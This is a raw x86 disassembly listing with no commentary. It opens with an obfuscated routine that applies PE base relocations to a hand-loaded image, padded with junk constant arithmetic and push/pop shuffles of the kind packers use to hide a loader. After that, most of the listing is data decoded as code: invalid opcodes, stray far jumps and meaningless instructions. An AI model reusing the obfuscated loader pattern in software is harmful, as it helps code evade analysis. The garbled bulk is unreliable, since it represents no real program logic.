add edx, dword [ecx + 0x18c]
mov dword [ebp - 0x3f4], edx
mov dword [ebp - 0x3f0], 0
mov byte [ebp - 0x3e1], 0
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ebp - 0xd0]
cmp edx, dword [ecx + 0x34]
je 0x406ea8
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x410], eax
jmp 0x406d05
mov ecx, dword [ebp - 0x410]
mov edx, dword [ebp - 0xd0]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x404], edx
push dword [ebp - 0x404]
pop eax
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x40c], ecx
cmp dword [ebp - 0x40c], 0
jmp 0x406d39
jne 0x406d44
jmp 0x406ea8
mov edx, dword [ebp - 0xd0]
push dword [ebp - 0x40c]
add edx, 0x252125a3
sub dword [esp], 0x252125a3
add edx, dword [esp]
mov dword [esp], edx
pop edx
mov dword [ebp - 0x408], edx
jmp 0x406d6e
mov eax, dword [ebp - 0x408]
cmp dword [eax + 4], 0
jbe 0x406ea8
mov ecx, dword [ebp - 0x408]
mov edx, dword [ecx + 4]
push ebx
mov ebx, edx
sub ebx, 8
mov edx, ebx
pop ebx
shr edx, 1
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x408]
add eax, 8
mov dword [ebp - 0x418], eax
mov ecx, dword [ebp - 0x404]
mov edx, dword [ebp - 0xd0]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0x41c], edx
mov dword [ebp - 0x420], 0x265969c6
pushfd
add dword [ebp - 0x420], 0xd9a6963a
popfd
jmp 0x406deb
mov eax, dword [ebp - 0x420]
add eax, 1
mov dword [ebp - 0x420], eax
jmp 0x406deb
mov ecx, dword [ebp - 0x420]
cmp ecx, dword [ebp - 0x414]
jge 0x406e8e
jmp 0x406e03
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 0x418]
movzx ecx, word [eax + edx*2]
and ecx, 0xf000
sar ecx, 0xc
cmp ecx, 3
jne 0x406e89
jmp 0x406e27
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 0x418]
movzx ecx, word [eax + edx*2]
and ecx, 0xfff
jmp 0x406e45
mov edx, dword [ebp - 0x408]
push dword [edx]
add ecx, 0xc2161ca3
sub dword [esp], 0xc2161ca3
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
add ecx, dword [ebp - 0xd0]
jmp 0x406e6c
mov dword [ebp - 0x424], ecx
push dword [ebp - 0x424]
pop eax
mov ecx, dword [eax]
add ecx, dword [ebp - 0x41c]
mov edx, dword [ebp - 0x424]
mov dword [edx], ecx
jmp 0x406dd4
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x408]
add ecx, dword [eax + 4]
mov dword [ebp - 0x408], ecx
jmp 0x406d6e
push dword [ebp - 0xd8]
pop edx
push dword [ebp - 0xd0]
pop eax
add eax, dword [edx + 0x28]
push dword [ebp - 0xd4]
pop ecx
mov dword [ecx + 0x188], eax
mov edx, dword [ebp - 0xd4]
add edx, 0x12c
mov dword [ebp - 0x444], edx
mov eax, dword [ebp - 0xd4]
add eax, 0x114
mov dword [ebp - 0x448], eax
jmp fcn.00406ef3
ja 0x4087ee
mov edi, edi
or al, 0
test al, 1
jne 0xfc481114
adc byte [ebp - 0x937b], cl
add byte [ebx - 0x7bf00902], al
pop ebp
add byte [ecx - 0x3f7a1bbb], cl
clc
pushal
lea eax, [ebp + 0xffff6c]
cmp esi, 0xfffffff6
je 0x45c98853
invalid
in al, 0x85
sar al, 0x60
mov dword [edx], eax
nop
ror byte [edi], 0x57
sub ebp, dword [esi]
pop ebx
nop
nop
call fcn.00409c41
adc al, 0
add byte [eax + 0x59ce762e], dl
nop
jbe 0x4087de
pop ecx
mov bh, 0x2d
jbe 0x4087a2
sub eax, 0x76
push eax
jbe 0x408837
sub eax, 0x2ddfc876
or dword [edx], ebx
fist word [edi + 0x77]
add byte [eax], al
push eax
add al, ch
pop ss
mov edi, edi
arpl word [edx + ecx + 0x66], si
add byte [eax - 0x6f6f6f70], dl
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
jo 0x408860
nop
add byte [esi + 0x5f], bl
add byte [eax], al
jbe 0x40880d
jbe 0x4088b7
nop
nop
mov eax, esi
mov dword [0], eax
jbe 0x408837
push edi
pop esp
nop
jge 0x408854
mov ebp, 0xf9762e46
test al, 0xb
ja 0x4087e7
xchg byte [eax - 0x40896f0b], dl
nop
cmc
nop
jbe 0x408825
ja 0x408882
mov dh, ah
nop
dec eax
jmp 0x4088b5
cmp byte [ebx], cl
sbb dh, byte [esi + 0x55]
jbe 0x4088d9
pop ebx
ja 0x408809
add al, 0xc2
cmp ebx, eax
add byte [eax], al
pop ecx
ja 0x4088c0
dec esi
into
mov bl, 0x26
stosb byte es:[edi], al
cmp ecx, 0x24
and byte [ebx + 0x5c], dh
jbe 0x4088db
ja 0x408833
nop
call 0x4088af
pop ebx
jbe 0x4088d9
mov ecx, dword [ebx - 0xb067cf2]
nop
push ebp
sub eax, 0x2e2ce576
xor al, 0x89
popfd
sbb dh, byte [esi - 0x70]
call fcn.0040938e
add byte [ebx - 0x3fccffda], al
jbe 0x40887f
or al, 0
nop
or byte [ebx - 0x7df0db07], al
nop
and eax, 0x761a0968
add al, 0
inc ebp
nop
jb 0x4088b5
pop ebx
retf
pop ebx
add byte [ecx], bh
invalid
mov dword [ebp - 0x34], ecx
add byte [eax], al
pop edx
push ecx
ja 0x408ca2
aas
nop
nop
jbe 0x408ca5
xchg dword [ecx + 0x77], ebx
cdq
test al, 2
xor dword [esi + 0x3b], esp
nop
xor byte [esi + 0x5b], dl
or al, 0x89
nop
invalid
sbb dh, byte [esi - 0x7c]
mov es, word [eax]
add byte [eax], al
mov ebp, eax
xor esp, dword [ecx + 0x1475ffff]
jmp 0x40972b
mov ebp, eax
mov bh, 0xa2
invalid
nop
nop
and eax, 0x761a09d8
pop ebx
jne 0x40a14c
loopne 0x408eb4
jo 0x408efa
cld
div ecx
jbe 0x408f04
int 0x51
jne 0x408830
stc
invalid
inc ebx
push ecx
test dword [edi + edi*8 - 1], ebp
or al, bl
sub byte [ecx + 0x77], bl
or dword [eax + ebx*2], esp
push edi
invalid
ret
or dword [esi - 0x77], esi
jbe 0x408f54
popal
jmp 0x408edd
pop ebx
sub eax, 0x2dd44e76
nop
nop
nop
nop
nop
add dword [esi], ebp
sub eax, 0x2de2aa76
mov ebp, esp
cmc
ret 0
add byte [ebx], bh
jne 0x408f60
sbb byte [edx + ebx], ah
add byte [ecx], 0
or al, 0x8d
mov dword [ebp - 0xc0], ecx
pushfd
ja 0x408f2b
call fcn.00407b44
jbe 0x408f71
nop
push edi
jbe 0x408fd5
movsd dword es:[edi], dword [esi]
ja 0x408f36
jbe 0x408fd1
and eax, 0x761a0978
sub esp, 0xc4
js 0x408f86
sbb dh, byte [esi - 0x7f]
in al, dx
les eax, [eax]
add byte [eax], al
add byte [esi - 0x67], dh
jbe 0x408f20
cdq
nop
pop es
loope 0x408fb8
mov byte [edx - 0x9000000], dh
add bh, dh
sbb al, 0x76
nop
aam 0xff
mov edi, edi
sbb dh, byte [esi - 0x70]
rol dword [ecx], 0x40
add bh, bh
mov ds, ebx
sub byte [edi], 0x76
nop
jbe 0x408fe3
das
cmp al, 3
dec esi
jg 0x408fb1
hlt
nop
mov dword [0x41ac65], ecx
popal
jmp 0x408fa6
jbe 0x408fff
nop
mov ebp, esp
in al, dx
jbe 0x408fa9
jbe 0x408f7b
nop
pop ebp
nop
nop
nop
ja 0x408f84
fist dword [edi - 0x75]
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + 0xc244c8b]
push ds
nop
pop edx
mov ebp, esp
ja fcn.00404bb4
jbe 0x408f8f
add byte [eax], al
scasb al, byte es:[edi]
inc ebp
mov eax, 0x16762d79
jbe 0x409015
jbe 0x408ffd
sbb dh, byte [esi - 0x70]
or ebx, dword [edx]
mov eax, 0x2014
and byte [eax], al
add byte [edx - 0x786d88a4], cl
pop eax
ja 0x409089
add byte [eax], al
mov bl, byte [edi + esi*2 - 0x6e]
xchg dword [eax + 0x77], ebx
jbe 0x408fd8
les ebp, [esi]
sub al, 0x66
jbe 0x40905e
jbe 0x40905e
je 0x402ac1
invalid
cmp byte [edi], dl
mov dword [0x8b000000], eax
add byte [ebx - 0x7bf00a02], al
jbe 0x40909d
push ebp
jbe 0x40904f
mov byte [0xa47c762d], al
or edx, dword [edi + 0x77]
sbb byte [eax], al
salc
nop
mov edi, edi
and eax, 0x761a09c0
sub eax, 0x2dea7a76
add dword [eax + 0x18], ebp
sbb dh, byte [esi + 0xf]
adc al, byte [eax]
jbe 0x40901c
jmp dword [0x761a09c0]
ror byte [ecx], 0x1a
jbe 0x409071
jbe 0x4090c0
ljmp 0x761a:0x1868012d
add byte [esi - 0x36], dh
inc ebp
inc eax
inc ebx
ja 0x40903d
mov ebp, esp
and eax, 0x761a0d30
jbe 0x409009
jbe 0x4090d6
test al, 0x77
movsd dword es:[edi], dword [esi]
ja 0x409008
or eax, 0x9090761a
das
stosb byte es:[edi], al
cmp eax, 0x80000004
nop
pop ecx
clc
nop
sbb byte [eax], dh
add ebp, dword [esi]
or byte [edi], 0x84
cld
adc dl, byte [edi + 0x77]
mov ebp, esp
jmp 0x408f93
add byte [eax], al
or ch, byte [esi]
and eax, 0x761a08f4
nop
ja 0x40903f
std
add byte [eax - 0x6f6f6f70], dl
clc
pop ecx
ja 0x409052
sub byte [ebx + 0x48892c4e], cl
add eax, dword [ebx + 0x458b0021]
stc
sal edi, cl
nop
loope 0x4090df
and al, 4
adc al, 0xea
and eax, 0x761a0b80
adc al, 0
adc byte [ecx], 0x2e
mov eax, dword [ebp - 4]
and dword [edi], 0
mov ecx, dword [esp + 4]
jbe 0x40905a
shl ah, 0x2d
nop
shr dword [edi], cl
cmp al, 1
pop ebx
nop
nop
xor al, 0x2f
pop eax
pop eax
adc byte [esi], ch
push esp
push esp
inc eax
cmp esi, 0xfffffff5
call fcn.00408643
cmp eax, 2
add eax, 0x90909090
nop
add byte [eax - 0x3d797bf1], al
mov al, byte [0x90762601]
mov ebp, esp
nop
mov eax, dword [edi + 0x8c]
or eax, 0x9090761a
add byte [0x9090761a], cl
inc ebp
ja 0x4090dc
ja 0x4090da
ja 0x409103
nop
ja 0x409113
mov ch, 1
mov eax, dword [ebp + 0x1c]
and eax, 0x761a0b08
jbe 0x4090af
sbb dh, byte [esi - 0x70]
nop
inc esi
mov ah, 0xa
add al, 0x28
push eax
add eax, 0x9090761a
pushal
jmp 0x409110
adc cl, byte [ebx - 0x72172e3f]
pop ebp
pushal
jbe 0x4092f6
nop
test dword [ecx], eax
lds ecx, [ecx - 0x76af1bbb]
jne 0x408c04
shr byte [esi], 0x76
mov esi, 0xcf3b0001
nop
cmp dword [ebp - 0x24], 2
fadd qword [edx]
cmc
add byte [eax], al
mov eax, 0xffffffff
nop
jbe 0x40934e
push edi
jmp 0x409328
pop ebx
add bh, bh
ja 0x4092c6
nop
ret 0x5a22
add byte [eax], al
inc esp
sub al, 0x1b
sub eax, 0x2e88eb76
ja 0x409380
or dword [eax + 0x40], 0xffffffff
cmp byte [0x42dfcd], cl
inc edx
add byte [edi + 0x205eff8b], ah
add byte [edi], cl
test byte [edx + 0x39ffffc3], dh
lea ebp, [eax - 1]
cmpsd dword [esi], dword es:[edi]
mov edi, edi
pop esi
and byte [eax], al
je 0x4056fc
cmp dword [ebp - 0x98], ecx
jbe 0x4092ed
invalid
ja 0x40933c
add dword [edi], ecx
ja 0x4092ea
nop
stc
sub eax, 0x2eb2b876
xor bh, bh
je 0x40125b
sbb byte [eax], al
nop
jbe 0x409369
add byte [eax + 0x517fc76], dl
pop ss
add eax, 0xc085761a
xor ecx, ebp
sbb dh, byte [esi - 0x7b]
sal byte [ebx], 0xcd
ja 0x40931c
test dword [ebx - 0x76fffd2b], ebx
or dword [edx], ebx
nop
sbb dh, byte [esi - 0x70]
and eax, 0x761a091c
pop ebx
invalid
aam 9
nop
pop ebp
or al, 0
mov edi, 0xd35b762d
add byte [ebx - 0x7bf00908], al
sbb dh, byte [esi - 0x70]
test eax, 0x955f775b
pop edi
xor byte [ebp + 1], dh
cmp eax, 0xfffffff6
je 0xa9d10d5a
nop
jbe 0x409737
nop
jbe 0x409785
dec ebp
lahf
invalid
pop ecx
cmp edx, ecx
or byte [edx], bl
mov dword [eax], edx
salc
ror dword [eax], 1
sbb cl, byte [ecx - 0x76fe29f0]
inc ebp
fmul qword [ebx + 0x16000049]
add dword [ecx + 0x498bdc45], ecx
add byte [eax], al
push ss
jbe 0x40a056
pop esp
sub dword [esi], 0x76
ljmp 0x7758
jbe 0x40a0b5
push edi
ja 0x40a0c6
ficomp word [eax + 0x77]
jbe 0x40a0bb
add byte [0x42b402], bh
ja 0x40a0b3
jbe 0x40a123
pop edi
pop edx
wait
je 0x40a131
jbe 0x40a144
jbe 0x40a12e
ja 0x40a125
sub eax, 0x76
ja 0x40a161
add dword [ebp - 0x3e], ebx
nop
pop edi
idiv edi
lodsb al, byte [esi]
xchg ebx, eax
mov ebp, esp
sldt word [eax]
dec edx
jbe 0x40a186
pop eax
and eax, 0x761a0bd0
jbe 0x40a145
or ebx, dword [edx]
jbe 0x40a157
jbe 0x40a145
or ebp, esp
ja 0x40a152
and esi, dword [esi + 0xf]
jbe 0x40a140
and eax, 0x761a09c0
ja 0x40a0c9
xchg ecx, eax
nop
add eax, 0xb60f761a
sub eax, 0x2dde9476
and eax, 0x2817762e
jbe 0x40a0fc
xchg esp, eax
fisubr word [0x17762e25]
jbe 0x40a15e
jbe 0x40a15e
sub byte [esi - 0x4e], dh
les eax, [edi]
ja 0x40a101
sub al, ch
sub eax, 0x2d80b476
nop
stc
mov ah, 0x80
sub eax, 0xc790f990
inc ebp
cld
invalid
nop
mov dword [ebp - 4], 0xfffffffe
or al, dh
dec dword [eax]
invalid
nop
nop
jbe 0x40a12e
jbe 0x40a181
cmp dword [ebp - 0x98], ecx
add byte [eax], ah
or al, bl
inc dword [eax]
and byte [edx], cl
ret
cmp ecx, 0xfffffff6
add byte [ebx], bh
mov ebp, 0x3a762f9f
pop eax
jbe 0x40a10f
xchg ebx, eax
popal
nop
nop
jmp 0x40a172
dec esi
rcr byte [eax + 0x55], 0xe0
push ecx
sbb byte [ecx + 0x58], al
nop
or al, 0xf7
push ebx
lodsd eax, dword [esi]
jbe 0x40a1cf
add byte [eax], al
sbb dh, byte [esi - 0x70]
fmul dword [ecx]
mov eax, dword [ebp + 0x1c]
or byte [eax - 0x18], dl
pop ebx
popal
jbe 0x40a137
pop edx
add ebp, dword [esi]
jbe 0x40a147
rcr byte [ecx - 0x73], 0x7d
inc esp
inc edi
sub dword [edi + ebp], esi
aas
call fcn.00407b23
sbb dh, byte [esi - 0x70]
pop eax
ja 0x40a206
ret 8
add dword [esi + ebp*8 + 0x8438b10], eax
mov edx, dword [ebp - 0x6ffa1b84]
nop
nop
nop
push 0x18
jbe 0x40a16d
nop
nop
nop
stc
nop
nop
xor edi, edi
mov word [esi], ss
test byte [edi], 0x3c
and al, 0xf6
xor ebp, ebx
sub al, 0x57
nop
jbe 0x40a227
mov word [esi], ss
nop
mov dh, ah
cwde
pop ss
or esi, edi
cmp dword [ebp - 0x98], 0x80000005
ja 0x40a1b0
push 0x5ffffff
add byte [eax], al
xor byte [edi - 0x60], 0x85
and esi, dword [edi - 0x10]
test dword [ebx], esp
ja 0x40a204
mov dword [esi + 0x40], eax
sbb ch, byte [esi]
push edi
mov esp, 0xc671762d
cdq
add byte [eax], al
cmpsb byte ds:[esi], byte es:[edi]
add byte [ebx], bh
nop
sbb dh, byte [esi - 0x70]
dec esi
add eax, 0x61762da5
nop
nop
adc byte [ebx + 0x8e183cf], cl
nop
sub eax, 0x76
je 0x40a264
and al, 0x45
inc ebp
mov byte [0x762eb7], al
ja 0x40a2b0
mov esi, 0x9004762d
fild dword [edx]
pop esi
add byte [eax - 0x6f6f6f70], dl
stc
xchg edx, eax
jmp 0x40a25f
add byte [eax], al
nop
nop
jmp 0x40a299
xor al, 0x44
hlt
imul esi, dword [esi - 0xf], 0x11
jne 0x40a299
pop ebx
ljmp 0xfc7d
cld
nop
mov byte [0xa47c762d], al
jbe 0x40a23f
or eax, 0
add byte [eax], al
add byte [eax], al
sbb dword [edi + esi*2 - 0x40], ebx
pop esp
add byte [esi], cl
cmpsb byte [esi], byte es:[edi]
jbe 0x40a2c9
jne 0x401892
ja 0x40a32c
sbb eax, 0x3b762dc7
lea eax, [ebp - 0x94]
lds ecx, [ecx + 0x4d8bfc45]
nop
invalid
invalid
inc ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x70]
add byte [ebx + 0x6a563040], cl
jbe 0x40a2d2
les edx, [ecx + 0x50]
jbe 0x40a277
or byte [edi], dh
jnp 0x40a2f2
add al, 0xfe
loop 0x40a2a6
nop
pop ecx
jbe 0x40a331
add byte [eax - 0x73], dl
pop dword [ecx]
ja 0x40a393
jge 0x40a325
nop
cmpsd dword [esi], dword es:[edi]
das
adc cl, byte [ebx - 0x72172e3f]
jbe 0x40a38d
lea ebp, [esi]
jbe 0x40a38d
sti
pop ecx
pop ebp
les esp, [0x4259de]
jbe 0x40a2d0
ja 0x40a2d4
mov bh, 0x31
mov ch, 0x2d
nop
dec eax
bound ebx, qword [ebx + 0x77]
add byte [ecx + 0x3b], bl
inc esi
aam 0xf2
das
jbe 0x40a2ec
add eax, dword [eax]
add al, ah
nop
popal
push esi
push edi
nop
nop
invalid
push edi
push es
bound edi, qword [ebp - 0x3eb189d3]
ja 0x40a317
dec esi
sal dword [edi - 0x80], 0xe8
mov cl, 0x89
invalid
call fcn.00402d4d
invalid
sub dword [esi + 0x24cbc8e7], ebx
and al, 0x6a
int 0x92
push esi
or byte [ebx - 0x63], dh
test eax, 0xe4cdde54
int 0xbb
rol dword [ecx + 0x72], 0xec
inc edi
sbb byte [edi - 0xd], bh
or al, 0x78
mov word [ebp - 0x1e], ds
mov esi, 0x2137f886
add eax, 0xe50e42ea
pushfd
inc ebp
iretd